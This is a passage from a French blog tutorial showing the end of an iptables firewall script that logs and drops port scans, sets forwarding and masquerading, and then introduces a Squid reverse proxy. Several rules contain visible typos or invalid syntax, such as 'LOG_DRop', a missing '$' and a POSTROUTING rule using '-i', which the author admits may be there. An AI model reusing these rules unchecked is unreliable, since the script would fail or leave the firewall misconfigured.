<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">2400</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>tcp_keepalive_time
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>kernel<span style="color: #000000; font-weight: bold;">/</span>printk
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">1800</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>tcp_keepalive_time
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>tcp_window_scaling
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>tcp_sack
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">64</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>ip_default_ttl
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">2048</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>ip_queue_maxlen
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>icmp_ignore_bogus_error_responses
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>icmp_echo_ignore_broadcasts
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>tcp_ecn
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;-&amp;gt; \033[40m\033[1;33m INPUT RULING \033[0m &amp;lt;-&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> all <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> ESTABLISHED,RELATED <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-s</span> <span style="color: #007800;">$ADMIN_IP</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--dport</span> <span style="color: #000000;">11211</span> <span style="color: #660033;">-j</span> ACCEPT <span style="color: #666666; font-style: italic;"># memcached</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">-s</span> <span style="color: #007800;">$SERVERS_IP</span> <span style="color: #660033;">-j</span> ACCEPT        <span style="color: #666666; font-style: italic;"># accept très (trop) générique pour les requêtes des serveurs au rp/lb/fw</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> ICMP <span style="color: #660033;">-i</span> SERVERS <span style="color: #660033;">-s</span> <span style="color: #007800;">$SERVERS_IP</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> ICMP <span style="color: #660033;">-i</span> lo <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-s</span> <span style="color: #007800;">$SERVERS_IP</span> <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Spoofed packet: &quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-f</span> <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">1</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Frag packet: &quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-p</span> icmp <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">12</span><span style="color: #000000; font-weight: bold;">/</span>hour <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">1</span> <span style="color: #660033;">-j</span> LOG <span style="color: #660033;">--log-prefix</span> <span style="color: #ff0000;">&quot;ICMP: &quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--dport</span> <span style="color: #000000;">22</span> <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">2</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;SSH loggin attempt&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--tcp-flags</span> ALL FIN,URG,PSH <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">5</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Stealth XMAS scan&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--tcp-flags</span> ALL SYN,RST,ACK,FIN,URG <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">5</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #660033;">--log-prefix</span> <span style="color: #ff0000;">&quot;Stealth XMAS-PSH scan&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--tcp-flags</span> ALL ALL <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">5</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Stealth XMAS-ALL scan&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--tcp-flags</span> ALL FIN <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">5</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Stealth FIN scan&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--tcp-flags</span> SYN,RST SYN,RST <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">5</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Stealth SYN/RST scan&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--tcp-flags</span> SYN,FIN SYN,FIN <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">5</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Stealth SYN/FIN scan(?)&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--tcp-flags</span> ALL NONE <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span>m <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">5</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Stealth Null scan&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--dport</span> <span style="color: #000000;">0</span> <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">6</span><span style="color: #000000; font-weight: bold;">/</span>h <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">1</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Port 0 OS fingerprint&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> udp <span style="color: #660033;">--dport</span> <span style="color: #000000;">0</span> <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">6</span><span style="color: #000000; font-weight: bold;">/</span>h <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">1</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;UDP port 0 OS fingerprint&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--sport</span> <span style="color: #000000;">0</span> <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">6</span><span style="color: #000000; font-weight: bold;">/</span>h <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">5</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;TCP source port 0&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> udp <span style="color: #660033;">--sport</span> <span style="color: #000000;">0</span> <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">6</span><span style="color: #000000; font-weight: bold;">/</span>h <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">5</span> <span style="color: #660033;">-j</span> LOG_DRop <span style="color: #666666; font-style: italic;"># &quot;UDP source port 0&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">-m</span> multiport <span style="color: #660033;">--sports</span> <span style="color: #000000;">20</span>,<span style="color: #000000;">21</span>,<span style="color: #000000;">22</span>,<span style="color: #000000;">23</span>,<span style="color: #000000;">80</span>,<span style="color: #000000;">110</span>,<span style="color: #000000;">143</span>,<span style="color: #000000;">443</span>,<span style="color: #000000;">993</span>,<span style="color: #000000;">995</span> <span style="color: #660033;">-m</span> limit <span style="color: #660033;">--limit</span> <span style="color: #000000;">6</span><span style="color: #000000; font-weight: bold;">/</span>h <span style="color: #660033;">--limit-burst</span> <span style="color: #000000;">1</span> <span style="color: #660033;">-j</span> LOG_DROP <span style="color: #666666; font-style: italic;"># &quot;Napta/smurfing/Drd/Dos&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-p</span> tcp <span style="color: #000000; font-weight: bold;">!</span> <span style="color: #660033;">--syn</span> <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-j</span> DROP <span style="color: #666666; font-style: italic;"># &quot;drop TCP connexion wich doesn't start by a syn&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> INVALID <span style="color: #660033;">-j</span> DROP
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> INPUT <span style="color: #660033;">-i</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--syn</span> <span style="color: #660033;">-j</span> syn-flood 
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;-&amp;gt; \033[40m\033[1;32m FORWARD RULING \033[0m &amp;lt;-&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> INVALID <span style="color: #660033;">-j</span> DROP
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-p</span> all <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> ESTABLISHED,RELATED <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-i</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-o</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">--dport</span> <span style="color: #000000;">80</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-i</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-o</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">--dport</span> <span style="color: #000000;">443</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-o</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-i</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">--dport</span> <span style="color: #000000;">20</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-o</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-i</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">--dport</span> <span style="color: #000000;">21</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-o</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-i</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">--dport</span> <span style="color: #000000;">22</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-o</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-i</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">--dport</span> <span style="color: #000000;">25</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-o</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-i</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">--dport</span> <span style="color: #000000;">80</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> FORWARD <span style="color: #660033;">-o</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-i</span> <span style="color: #007800;">$SERVERS</span> <span style="color: #660033;">--dport</span> <span style="color: #000000;">443</span> <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> NEW <span style="color: #660033;">-j</span> ACCEPT 
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;-&amp;gt; \033[40m\033[1;32m OUTPUT RULING \033[0m &amp;lt;-&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> all <span style="color: #660033;">-m</span> state <span style="color: #660033;">--state</span> ESTABLISHED,RELATED <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> ICMP <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> TCP <span style="color: #660033;">--dport</span> <span style="color: #000000;">20</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> TCP <span style="color: #660033;">--dport</span> <span style="color: #000000;">21</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> TCP <span style="color: #660033;">--dport</span> <span style="color: #000000;">22</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> TCP <span style="color: #660033;">--dport</span> <span style="color: #000000;">25</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> UDP <span style="color: #660033;">--dport</span> <span style="color: #000000;">53</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> TCP <span style="color: #660033;">--dport</span> <span style="color: #000000;">80</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> UDP <span style="color: #660033;">--dport</span> <span style="color: #000000;">123</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> TCP <span style="color: #660033;">--dport</span> <span style="color: #000000;">123</span> <span style="color: #660033;">-j</span> ACCEPT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-p</span> TCP <span style="color: #660033;">--dport</span> <span style="color: #000000;">443</span> <span style="color: #660033;">-j</span> ACCEPT
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;-&amp;gt; \033[40m\033[1;33m Masquerading \033[0m &amp;lt;-&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-A</span> POSTROUTING <span style="color: #660033;">-p</span> tcp <span style="color: #660033;">--tcp-flags</span> SYN,RST SYN <span style="color: #660033;">-j</span> TCPMSS <span style="color: #660033;">--clamp-mss-to-pmtu</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-A</span> POSTROUTING <span style="color: #660033;">-i</span> <span style="color: #660033;">-o</span> <span style="color: #007800;">$INET</span> <span style="color: #660033;">-j</span> MASQUERADE
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;-&amp;gt; \033[40m\033[1;32m Firewall Setup complete, activating Forward \033[0m &amp;lt;-&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>ip_forward 
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;------------------------&amp;gt; \033[40m\033[1;32mEOF : End of Firewall \033[0m&amp;lt;-----------------------&quot;</span>
<span style="color: #000000; font-weight: bold;">;;</span> 
&nbsp;
stop<span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[40m\033[1;31m----------------------&amp;gt; Shutting down Firewall ! &amp;lt;----------------------\033[0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot; &quot;</span>
<span style="color: #007800;">IPTABLES</span>=<span style="color: #ff0000;">&quot;/sbin/iptables&quot;</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-F</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-X</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-Z</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-F</span> INPUT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-F</span> OUTPUT
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-F</span> FORWARD
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-F</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-Z</span>
<span style="color: #007800;">$IPTABLES</span> <span style="color: #660033;">-t</span> nat <span style="color: #660033;">-X</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #000000;">0</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>proc<span style="color: #000000; font-weight: bold;">/</span>sys<span style="color: #000000; font-weight: bold;">/</span>net<span style="color: #000000; font-weight: bold;">/</span>ipv4<span style="color: #000000; font-weight: bold;">/</span>ip_forward
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;-&amp;gt; DONE ! &amp;lt;-&quot;</span>
<span style="color: #000000; font-weight: bold;">;;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Usage: /etc/init.d/firewall {start|stop}&quot;</span>
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">;;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">esac</span>
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">0</span></pre></td></tr></table></div>

<p><BR></p>
<p style="text-align: justify"><span style="text-decoration: underline;">Quelques points :<br />
</span>- N&#8217;oubliez pas de durcir tous vos noyaux de serveurs, tout spécialement celui-ci, avec le patch GRSEC pour le kernel Linux. (ca doit aussi être décrit dans le howto de mémoire).</p>
<p style="text-align: justify;">- Si on veut être plus méchant, au lieu de DROP on peut utiliser TARPIT si on a compilé iptables avec, ca fait un bel effet sur la machine attaquante !</p>
<p style="text-align: justify;">- Si le scipt ne charge pas c&#8217;est que j&#8217;ai fais un faute de frappe quelque part, corrigez là <img src='http://www.wikigento.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  Si il ne charge pas parcequ&#8217;il manque des target, ajoutez les dans le noyau au moment de sa compilation.</p>
<h1>Le Reverse Proxy</h1>
<p><BR></p>
<h2>Introduction</h2>
<p style="text-align: justify">
<p style="text-align: justify">Le Firewall est une fonction en soit est très peu consommatrice car, sur un noyau linux, c&#8217;est embarqué. Netfilter et son application de pilotage iptables  sont des outils très puissants et très économes.</p>
<p style="text-align: justify">Dans le cas qui nous préoccupe, c&#8217;est d&#8217;autant plus vrai qu&#8217;on va filtrer très peu de chose, ce n&#8217;est pas non plus le firewall du pentagone, on va juste protéger les accès d&#8217;administration. Sur notre beau serveur, on a dépensé 0,000001% de la capacité CPU, que faire du reste ?</p>
<p style="text-align: justify">Hummmmm du folding@home, du calcul de Pi, un serveur Quake 3, du Seti project : non !</p>
<p>On va faire un reverse proxy et un load balancer qui eux peuvent commencer à occuper un peu la machine sur ses 99,999999 % de temps CPU restant.</p>
<p style="text-align: justify;">Le reverse proxy, c&#8217;est une histoire un peu plus complexe. Si on part sur une solution simple, Squid est très capable. Pour de la dentelle, qui nécessite aussi une optimisation du code pour en tirer le plein partit, Varnish est une solution plus costaud mais réellement plus longue à mettre en place. On va donc ici s&#8217;atteler à concevoir un Squid correcte.</p>
<h2>Rôle<span style="text-decoration: underline;"><br />
</span></h2>
<p><span style="text-decoration: underline;">Le rôle du reverse proxy c&#8217;est ca :</span><br />
<a rel="attachment wp-att-681" href="http://www.wikigento.com/?attachment_id=681"><img class="alignnone size-full wp-image-681" title="rp stats" src="http://www.wikigento.com/wp-content/uploads/2009/04/rp.jpg" alt="rp stats" width="394" height="358" /></a></p>
<p>Réduire les accès aux serveurs Web en les allégeants de tout ce qui n&#8217;a pas de valeur ajouté, tout ce qui n&#8217;est pas généré.  J&#8217;ai pris volontairement une page très lourde pour la démonstration.</p>
<p><span style="text-decoration: underline;">En l&#8217;occurence on va cacher :</span></p>
<ul>
<li>Le HTML</li>
<li>Les CSS</li>
<li>Les images</li>
<li>Les fichiers Javascript</li>
</ul>
